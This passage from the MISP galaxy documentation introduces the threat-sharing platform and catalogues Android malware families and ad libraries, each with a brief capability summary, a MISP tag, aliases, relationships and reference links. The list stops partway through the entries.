Introduction
The MISP threat sharing platform is a free and open source software helping information sharing of threat intelligence including cyber security indicators, financial fraud or counter-terrorism information. The MISP project includes multiple sub-projects to support the operational requirements of analysts and improve the overall quality of information shared.
MISP galaxy is a simple method to express a large object called cluster that can be attached to MISP events or attributes. A cluster can be composed of one or more elements. Elements are expressed as key-values. There are default vocabularies available in MISP galaxy but those can be overwritten, replaced or updated as you wish. Existing clusters and vocabularies can be used as-is or as a template. MISP distribution can be applied to each cluster to permit a limited or broader distribution scheme. The following document is generated from the machine-readable JSON describing the MISP galaxy.
Funding and Support
The MISP project is financially and resource supported by CIRCL Computer Incident Response Center Luxembourg .
A CEF (Connecting Europe Facility) funding under CEF-TC-2016-3 - Cyber Security has been granted from 1st September 2017 until 31th August 2019 as Improving MISP as building blocks for next-generation information sharing.
If you are interested to co-fund projects around MISP, feel free to get in touch with us.
MISP galaxy
Android
Android malware galaxy based on multiple open sources..
Android is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
-
Unknown
CopyCat
CopyCat is a fully developed malware with vast capabilities, including rooting devices, establishing persistency, and injecting code into Zygote – a daemon responsible for launching apps in the Android operating system – that allows the malware to control any activity on the device.
The tag is: misp-galaxy:android="CopyCat"
Links |
Andr/Dropr-FH
Andr/Dropr-FH can silently record audio and video, monitor texts and calls, modify files, and ultimately spawn ransomware.
The tag is: misp-galaxy:android="Andr/Dropr-FH"
Andr/Dropr-FH is also known as:
-
GhostCtrl
Andr/Dropr-FH has relationships with:
-
similar: misp-galaxy:malpedia="GhostCtrl" with estimative-language:likelihood-probability="likely"
Links |
Judy
The malware, dubbed Judy, is an auto-clicking adware which was found on 41 apps developed by a Korean company. The malware uses infected devices to generate large amounts of fraudulent clicks on advertisements, generating revenues for the perpetrators behind it.
The tag is: misp-galaxy:android="Judy"
Links |
RedAlert2
The trojan waits in hiding until the user opens a banking or social media app. When this happens, the trojan shows an HTML-based overlay on top of the original app, alerting the user of an error, and asking to reauthenticate. Red Alert then collects the user’s credentials and sends them to its C&C server.
The tag is: misp-galaxy:android="RedAlert2"
RedAlert2 has relationships with:
-
similar: misp-galaxy:malpedia="RedAlert2" with estimative-language:likelihood-probability="likely"
Tizi
Tizi is a fully featured backdoor that installs spyware to steal sensitive data from popular social media applications. The Google Play Protect security team discovered this family in September 2017 when device scans found an app with rooting capabilities that exploited old vulnerabilities. The team used this app to find more applications in the Tizi family, the oldest of which is from October 2015. The Tizi app developer also created a website and used social media to encourage more app installs from Google Play and third-party websites.
The tag is: misp-galaxy:android="Tizi"
Links |
https://security.googleblog.com/2017/11/tizi-detecting-and-blocking-socially.html |
DoubleLocker
DoubleLocker can change the device’s PIN, preventing victims from accessing their devices, and also encrypts the data requesting a ransom. It will misuse accessibility services after being installed by impersonating the Adobe Flash player - similar to BankBot.
The tag is: misp-galaxy:android="DoubleLocker"
DoubleLocker has relationships with:
-
similar: misp-galaxy:malpedia="DoubleLocker" with estimative-language:likelihood-probability="likely"
Links |
https://www.welivesecurity.com/2017/10/13/doublelocker-innovative-android-malware/ |
Svpeng
Svpeng is a Banking trojan which acts as a keylogger. If the Android device is not Russian, Svpeng will ask for permission to use accessibility services. In abusing this service it will gain administrator rights allowing it to draw over other apps, send and receive SMS and take screenshots when keys are pressed.
The tag is: misp-galaxy:android="Svpeng"
Svpeng is also known as:
-
Invisble Man
Svpeng has relationships with:
-
similar: misp-galaxy:tool="Svpeng" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Svpeng" with estimative-language:likelihood-probability="likely"
Links |
https://securelist.com/a-new-era-in-mobile-banking-trojans/79198/ |
https://www.theregister.co.uk/2017/08/02/banking_android_malware_in_uk/ |
LokiBot
LokiBot is a banking trojan for Android 4.0 and higher. It can steal the information and send SMS messages. It has the ability to start web browsers, and banking applications, along with showing notifications impersonating other apps. Upon attempt to remove it will encrypt the devices' external storage requiring Bitcoins to decrypt files.
The tag is: misp-galaxy:android="LokiBot"
LokiBot has relationships with:
-
similar: misp-galaxy:malpedia="Loki Password Stealer (PWS)" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="LokiBot" with estimative-language:likelihood-probability="likely"
Links |
https://clientsidedetection.com/lokibot_the_first_hybrid_android_malware.html[https://clientsidedetection.com/lokibot_the_first_hybrid_android_malware.html] |
BankBot
The main goal of this malware is to steal banking credentials from the victim’s device. It usually impersonates flash player updaters, android system tools, or other legitimate applications.
The tag is: misp-galaxy:android="BankBot"
BankBot has relationships with:
-
similar: misp-galaxy:malpedia="Anubis" with estimative-language:likelihood-probability="likely"
Links |
https://blog.fortinet.com/2017/09/19/a-look-into-the-new-strain-of-bankbot |
Viking Horde
In rooted devices, Viking Horde installs software and executes code remotely to get access to the mobile data.
The tag is: misp-galaxy:android="Viking Horde"
Links |
http://www.alwayson-network.com/worst-types-android-malware-2016/ |
HummingBad
A Chinese advertising company has developed this malware. The malware has the power to take control of devices; it forces users to click advertisements and download apps. The malware uses a multistage attack chain.
The tag is: misp-galaxy:android="HummingBad"
HummingBad has relationships with:
-
similar: misp-galaxy:mitre-malware="HummingBad - S0322" with estimative-language:likelihood-probability="likely"
Links |
http://www.alwayson-network.com/worst-types-android-malware-2016/ |
http://blog.checkpoint.com/wp-content/uploads/2016/07/HummingBad-Research-report_FINAL-62916.pdf |
Ackposts
Ackposts is a Trojan horse for Android devices that steals the Contacts information from the compromised device and sends it to a predetermined location.
The tag is: misp-galaxy:android="Ackposts"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-072302-3943-99 |
Wirex
Wirex is a Trojan horse for Android devices that opens a backdoor on the compromised device which then joins a botnet for conducting click fraud.
The tag is: misp-galaxy:android="Wirex"
WannaLocker
WannaLocker is a strain of ransomware for Android devices that encrypts files on the device’s external storage and demands a payment to decrypt them.
The tag is: misp-galaxy:android="WannaLocker"
Links |
https://fossbytes.com/wannalocker-ransomware-wannacry-android/ |
Switcher
Switcher is a Trojan horse for Android devices that modifies Wi-Fi router DNS settings. Swticher attempts to infiltrate a router’s admin interface on the devices' WIFI network by using brute force techniques. If the attack succeeds, Switcher alters the DNS settings of the router, making it possible to reroute DNS queries to a network controlled by the malicious actors.
The tag is: misp-galaxy:android="Switcher"
Switcher has relationships with:
-
similar: misp-galaxy:malpedia="Switcher" with estimative-language:likelihood-probability="likely"
Links |
https://www.theregister.co.uk/2017/01/03/android_trojan_targets_routers/ |
https://www.symantec.com/security_response/writeup.jsp?docid=2017-090410-0547-99 |
Vibleaker
Vibleaker was an app available on the Google Play Store named Beaver Gang Counter that contained malicious code that after specific orders from its maker would scan the user’s phone for the Viber app, and then steal photos and videos recorded or sent through the app.
The tag is: misp-galaxy:android="Vibleaker"
Links |
http://news.softpedia.com/news/malicious-android-app-steals-viber-photos-and-BankBot-505758.shtml |
ExpensiveWall
ExpensiveWall is Android malware that sends fraudulent premium SMS messages and charges users accounts for fake services without their knowledge
The tag is: misp-galaxy:android="ExpensiveWall"
Links |
Cepsohord
Cepsohord is a Trojan horse for Android devices that uses compromised devices to commit click fraud, modify DNS settings, randomly delete essential files, and download additional malware such as ransomware.
The tag is: misp-galaxy:android="Cepsohord"
Links |
https://www.cyber.nj.gov/threat-profiles/android-malware-variants/cepsohord |
Fakem Rat
Fakem RAT makes their network traffic look like well-known protocols (e.g. Messenger traffic, HTML pages).
The tag is: misp-galaxy:android="Fakem Rat"
GM Bot
GM Bot – also known as Acecard, SlemBunk, or Bankosy – scams people into giving up their banking log-in credentials and other personal data by displaying overlays that look nearly identical to banking apps log-in pages. Subsequently, the malware intercepts SMS to obtain two-factor authentication PINs, giving cybercriminals full access to bank accounts.
The tag is: misp-galaxy:android="GM Bot"
GM Bot is also known as:
-
Acecard
-
SlemBunk
-
Bankosy
GM Bot has relationships with:
-
similar: misp-galaxy:tool="Slempo" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:android="Bankosy" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Slempo" with estimative-language:likelihood-probability="likely"
Links |
https://blog.avast.com/android-trojan-gm-bot-is-evolving-and-targeting-more-than-50-banks-worldwide |
Moplus
The Wormhole vulnerability in the Moplus SDK could be exploited by hackers to open an unsecured and unauthenticated HTTP server connection on the user’s device, and this connection is established in the background without the user’s knowledge.
The tag is: misp-galaxy:android="Moplus"
Links |
http://securityaffairs.co/wordpress/41681/hacking/100m-android-device-baidu-moplus-sdk.html |
Adwind
Adwind is a backdoor written purely in Java that targets system supporting the Java runtime environment. Commands that can be used, among other things, to display messages on the system, open URLs, update the malware, download/execute files, and download/load plugins. According to the author, the backdoor component can run on Windows, Mac OS, Linux and Android platforms providing rich capabilities for remote control, data gathering, data exfiltration and lateral movement.
The tag is: misp-galaxy:android="Adwind"
Adwind is also known as:
-
AlienSpy
-
Frutas
-
Unrecom
-
Sockrat
-
Jsocket
-
jRat
-
Backdoor:Java/Adwind
Adwind has relationships with:
-
similar: misp-galaxy:rat="Adwind RAT" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:tool="Adwind" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:android="Sockrat" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="AdWind" with estimative-language:likelihood-probability="likely"
Links |
AdSms
Adsms is a Trojan horse that may send SMS messages from Android devices.
The tag is: misp-galaxy:android="AdSms"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-051313-4039-99 |
Airpush
Airpush is a very aggresive Ad - Network
The tag is: misp-galaxy:android="Airpush"
Airpush is also known as:
-
StopSMS
Links |
https://crypto.stanford.edu/cs155old/cs155-spring16/lectures/18-mobile-malware.pdf |
BeanBot
BeanBot forwards device’s data to a remote server and sends out premium-rate SMS messages from the infected device.
The tag is: misp-galaxy:android="BeanBot"
Links |
https://www.f-secure.com/v-descs/trojan_android_beanbot.shtml |
Kemoge
Kemoge is adware that disguises itself as popular apps via repackaging, then allows for a complete takeover of the users Android device.
The tag is: misp-galaxy:android="Kemoge"
Kemoge has relationships with:
-
similar: misp-galaxy:mitre-malware="ShiftyBug - S0294" with estimative-language:likelihood-probability="likely"
Links |
https://www.fireeye.com/blog/threat-research/2015/10/kemoge_another_mobi.html |
https://www.symantec.com/security_response/writeup.jsp?docid=2015-101207-3555-99 |
Ghost Push
Ghost Push is a family of malware that infects the Android OS by automatically gaining root access, downloading malicious software, masquerading as a system app, and then losing root access, which then makes it virtually impossible to remove the infection even by factory reset unless the firmware is reflashed.
The tag is: misp-galaxy:android="Ghost Push"
Links |
https://blog.avast.com/how-to-protect-your-android-device-from-ghost-push |
BeNews
The BeNews app is a backdoor app that uses the name of defunct news site BeNews to appear legitimate. After installation it bypasses restrictions and downloads additional threats to the compromised device.
The tag is: misp-galaxy:android="BeNews"
Links |
Accstealer
Accstealer is a Trojan horse for Android devices that steals information from the compromised device.
The tag is: misp-galaxy:android="Accstealer"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2015-012711-1159-99 |
Acnetdoor
Acnetdoor is a detection for Trojan horses on the Android platform that open a back door on the compromised device.
The tag is: misp-galaxy:android="Acnetdoor"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-051611-4258-99 |
Acnetsteal
Acnetsteal is a detection for Trojan horses on the Android platform that steal information from the compromised device.
The tag is: misp-galaxy:android="Acnetsteal"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-051612-0505-99 |
Actech
Actech is a Trojan horse for Android devices that steals information and sends it to a remote location.
The tag is: misp-galaxy:android="Actech"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-080111-3948-99 |
AdChina
AdChina is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="AdChina"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032814-2947-99 |
Adfonic
Adfonic is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Adfonic"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052615-0024-99 |
AdInfo
AdInfo is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="AdInfo"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040416-2433-99 |
Adknowledge
Adknowledge is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Adknowledge"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052822-1033-99 |
AdMarvel
AdMarvel is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="AdMarvel"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-060621-2450-99 |
AdMob
AdMob is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="AdMob"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052822-3437-99 |
Adrd
Adrd is a Trojan horse that steals information from Android devices.
The tag is: misp-galaxy:android="Adrd"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-021514-4954-99 |
Aduru
Aduru is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Aduru"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052618-2419-99 |
Adwhirl
Adwhirl is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Adwhirl"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052918-1414-99 |
Adwlauncher
Adwlauncher is a Trojan horse for Android devices that steals information from the compromised device.
The tag is: misp-galaxy:android="Adwlauncher"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-082308-1823-99 |
Adwo
Adwo is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Adwo"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032814-5806-99 |
Airad
Airad is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Airad"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032815-1704-99 |
Alienspy
Alienspy is a Trojan horse for Android devices that steals information from the compromised device. It may also download potentially malicious files.
The tag is: misp-galaxy:android="Alienspy"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2015-042714-5942-99 |
AmazonAds
AmazonAds is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="AmazonAds"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052618-5002-99 |
Answerbot
Answerbot is a Trojan horse that opens a back door on Android devices.
The tag is: misp-galaxy:android="Answerbot"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-100711-2129-99 |
Antammi
Antammi is a Trojan horse that steals information from Android devices.
The tag is: misp-galaxy:android="Antammi"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-032106-5211-99 |
Apkmore
Apkmore is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Apkmore"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040113-4813-99 |
Aplog
Aplog is a Trojan horse for Android devices that steals information from the device.
The tag is: misp-galaxy:android="Aplog"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-100911-1023-99 |
Appenda
Appenda is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Appenda"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-062812-0516-99 |
Apperhand
Apperhand is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Apperhand"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032815-5637-99 |
Appleservice
Appleservice is a Trojan horse for Android devices that may steal information from the compromised device.
The tag is: misp-galaxy:android="Appleservice"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031011-4321-99 |
AppLovin
AppLovin is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="AppLovin"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040112-1739-99 |
Arspam
Arspam is a Trojan horse for Android devices that sends spam SMS messages to contacts on the compromised device.
The tag is: misp-galaxy:android="Arspam"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-121915-3251-99 |
Aurecord
Aurecord is a spyware application for Android devices that allows the device it is installed on to be monitored.
The tag is: misp-galaxy:android="Aurecord"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031914-2310-99 |
Backapp
Backapp is a Trojan horse for Android devices that steals information from the compromised device.
The tag is: misp-galaxy:android="Backapp"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-092708-5017-99 |
Backdexer
Backdexer is a Trojan horse for Android devices that may send premium-rate SMS messages from the compromised device.
The tag is: misp-galaxy:android="Backdexer"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-121812-2502-99 |
Backflash
Backflash is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.
The tag is: misp-galaxy:android="Backflash"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-091714-0427-99 |
Backscript
Backscript is a Trojan horse for Android devices that downloads files onto the compromised device.
The tag is: misp-galaxy:android="Backscript"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-090704-3639-99 |
Badaccents
Badaccents is a Trojan horse for Android devices that may download apps on the compromised device.
The tag is: misp-galaxy:android="Badaccents"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-123015-3618-99 |
Badpush
Badpush is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Badpush"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040311-4133-99 |
Ballonpop
Ballonpop is a Trojan horse for Android devices that steals information from the compromised device.
The tag is: misp-galaxy:android="Ballonpop"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-120911-1731-99 |
Bankosy
Bankosy is a Trojan horse for Android devices that steals information from the compromised device.
The tag is: misp-galaxy:android="Bankosy"
Bankosy has relationships with:
-
similar: misp-galaxy:tool="Slempo" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:android="GM Bot" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Slempo" with estimative-language:likelihood-probability="likely"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-072316-5249-99 |
Bankun
Bankun is a Trojan horse for Android devices that replaces certain banking applications on the compromised device.
The tag is: misp-galaxy:android="Bankun"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-072318-4143-99 |
Basebridge
Basebridge is a Trojan horse that attempts to send premium-rate SMS messages to predetermined numbers.
The tag is: misp-galaxy:android="Basebridge"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-060915-4938-99 |
Basedao
Basedao is a Trojan horse for Android devices that steals information from the compromised device.
The tag is: misp-galaxy:android="Basedao"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-061715-3303-99 |
Batterydoctor
Batterydoctor is Trojan that makes exaggerated claims about the device’s ability to recharge the battery, as well as steal information.
The tag is: misp-galaxy:android="Batterydoctor"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-101916-0847-99 |
Beaglespy
Beaglespy is an Android mobile detection for the Beagle spyware program as well as its associated client application.
The tag is: misp-galaxy:android="Beaglespy"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-091010-0627-99 |
Becuro
Becuro is a Trojan horse for Android devices that downloads potentially malicious files onto the compromised device.
The tag is: misp-galaxy:android="Becuro"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2015-051410-3348-99 |
Beita
Beita is a Trojan horse for Android devices that steals information from the compromised device.
The tag is: misp-galaxy:android="Beita"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-110111-1829-99 |
Bgserv
Bgserv is a Trojan that opens a back door and transmits information from the device to a remote location.
The tag is: misp-galaxy:android="Bgserv"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-031005-2918-99 |
Biigespy
Biigespy is an Android mobile detection for the Biige spyware program as well as its associated client application.
The tag is: misp-galaxy:android="Biigespy"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-091012-0526-99 |
Bmaster
Bmaster is a Trojan horse on the Android platform that opens a back door, downloads files and steals potentially confidential information from the compromised device.
The tag is: misp-galaxy:android="Bmaster"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-020609-3003-99 |
Bossefiv
Bossefiv is a Trojan horse for Android devices that steals information.
The tag is: misp-galaxy:android="Bossefiv"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2015-061520-4322-99 |
Boxpush
Boxpush is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Boxpush"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040207-4613-99 |
Burstly
Burstly is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Burstly"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052918-1443-99 |
Buzzcity
Buzzcity is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Buzzcity"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052918-1454-99 |
ByPush
ByPush is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="ByPush"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040315-4708-99 |
Cajino
Cajino is a Trojan horse for Android devices that opens a back door on the compromised device.
The tag is: misp-galaxy:android="Cajino"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2015-040210-3746-99 |
Casee
Casee is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Casee"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052919-3501-99 |
Catchtoken
Catchtoken is a Trojan horse for Android devices that intercepts SMS messages and opens a back door on the compromised device.
The tag is: misp-galaxy:android="Catchtoken"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-121619-0548-99 |
Cauly
Cauly is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Cauly"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052919-3454-99 |
Cellshark
Cellshark is a spyware application for Android devices that periodically gathers information from the device and uploads it to a predetermined location.
The tag is: misp-galaxy:android="Cellshark"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-111611-0914-99 |
Centero
Centero is a Trojan horse for Android devices that displays advertisements on the compromised device.
The tag is: misp-galaxy:android="Centero"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-053006-2502-99 |
Chuli
Chuli is a Trojan horse for Android devices that opens a back door and may steal information from the compromised device.
The tag is: misp-galaxy:android="Chuli"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-032617-1604-99 |
Citmo
Citmo is a Trojan horse for Android devices that steals information from the compromised device.
The tag is: misp-galaxy:android="Citmo"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-030715-5012-99 |
Claco
Claco is a Trojan horse for Android devices that steals information from the compromised device.
The tag is: misp-galaxy:android="Claco"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-020415-5600-99 |
Clevernet
Clevernet is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Clevernet"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040107-5257-99 |
Cnappbox
Cnappbox is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Cnappbox"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040215-1141-99 |
Cobblerone
Cobblerone is a spyware application for Android devices that can track the phone’s location and remotely erase the device.
The tag is: misp-galaxy:android="Cobblerone"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-111514-3846-99 |
Coolpaperleak
Coolpaperleak is a Trojan horse for Android devices that steals information and sends it to a remote location.
The tag is: misp-galaxy:android="Coolpaperleak"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-080211-5757-99 |
Coolreaper
Coolreaper is a Trojan horse for Android devices that opens a back door on the compromised device. It may also steal information and download potentially malicious files.
The tag is: misp-galaxy:android="Coolreaper"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2015-011220-3211-99 |
Cosha
Cosha is a spyware program for Android devices that monitors and sends certain information to a remote location.
The tag is: misp-galaxy:android="Cosha"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-081712-5231-99 |
Counterclank
Counterclank is a Trojan horse for Android devices that steals information.
The tag is: misp-galaxy:android="Counterclank"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-012709-4046-99 |
Crazymedia
Crazymedia is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Crazymedia"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040312-2547-99 |
Crisis
Crisis is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.
The tag is: misp-galaxy:android="Crisis"
Crisis has relationships with:
-
similar: misp-galaxy:malpedia="Crisis (Windows)" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="RCS" with estimative-language:likelihood-probability="likely"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2015-071409-0636-99 |
Crusewind
Crusewind is a Trojan horse for Android devices that sends SMS messages to a premium-rate number.
The tag is: misp-galaxy:android="Crusewind"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-070301-5702-99 |
Dandro
Dandro is a Trojan horse for Android devices that allows a remote attacker to gain control over the device and steal information from it.
The tag is: misp-galaxy:android="Dandro"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-012916-2128-99 |
Daoyoudao
Daoyoudao is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Daoyoudao"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040214-5018-99 |
Deathring
Deathring is a Trojan horse for Android devices that may perform malicious activities on the compromised device.
The tag is: misp-galaxy:android="Deathring"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-121116-4547-99 |
Deeveemap
Deeveemap is a Trojan horse for Android devices that downloads potentially malicious files onto the compromised device.
The tag is: misp-galaxy:android="Deeveemap"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2017-060907-5221-99 |
Dendoroid
Dendoroid is a Trojan horse for Android devices that opens a back door, steals information, and may perform other malicious activities on the compromised device.
The tag is: misp-galaxy:android="Dendoroid"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-030418-2633-99 |
Dengaru
Dengaru is a Trojan horse for Android devices that performs click-fraud from the compromised device.
The tag is: misp-galaxy:android="Dengaru"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2015-051113-4819-99 |
Diandong
Diandong is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Diandong"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040207-2453-99 |
Dianjin
Dianjin is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Dianjin"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040107-0313-99 |
Dogowar
Dogowar is a Trojan horse on the Android platform that sends SMS texts to all contacts on the device. It is a repackaged version of a game application called Dog Wars, which can be downloaded from a third party market and must be manually installed.
The tag is: misp-galaxy:android="Dogowar"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-081510-4323-99 |
Domob
Domob is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Domob"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040416-4235-99 |
Dougalek
Dougalek is a Trojan horse for Android devices that steals information from the compromised device. The threat is typically disguised to display a video.
The tag is: misp-galaxy:android="Dougalek"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-041601-3400-99 |
Dowgin
Dowgin is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Dowgin"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-033108-4723-99 |
Droidsheep
Droidsheep is a hacktool for Android devices that hijacks social networking accounts on compromised devices.
The tag is: misp-galaxy:android="Droidsheep"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031014-3628-99 |
Dropdialer
Dropdialer is a Trojan horse for Android devices that sends SMS messages to a premium-rate phone number.
The tag is: misp-galaxy:android="Dropdialer"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-070909-0726-99 |
Dupvert
Dupvert is a Trojan horse for Android devices that opens a back door and steals information from the compromised device. It may also perform other malicious activities.
The tag is: misp-galaxy:android="Dupvert"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-072313-1959-99 |
Dynamicit
Dynamicit is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Dynamicit"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040407-1346-99 |
Ecardgrabber
Ecardgrabber is an application that attempts to read details from NFC enabled credit cards. It attempts to read information from NFC enabled credit cards that are in close proximity.
The tag is: misp-galaxy:android="Ecardgrabber"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-062215-0939-99 |
Ecobatry
Ecobatry is a Trojan horse for Android devices that steals information and sends it to a remote location.
The tag is: misp-galaxy:android="Ecobatry"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-080606-4102-99 |
Enesoluty
Enesoluty is a Trojan horse for Android devices that steals information and sends it to a remote location.
The tag is: misp-galaxy:android="Enesoluty"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-090607-0807-99 |
Everbadge
Everbadge is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Everbadge"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040416-3736-99 |
Ewalls
Ewalls is a Trojan horse for the Android operating system that steals information from the mobile device.
The tag is: misp-galaxy:android="Ewalls"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2010-073014-0854-99 |
Exprespam
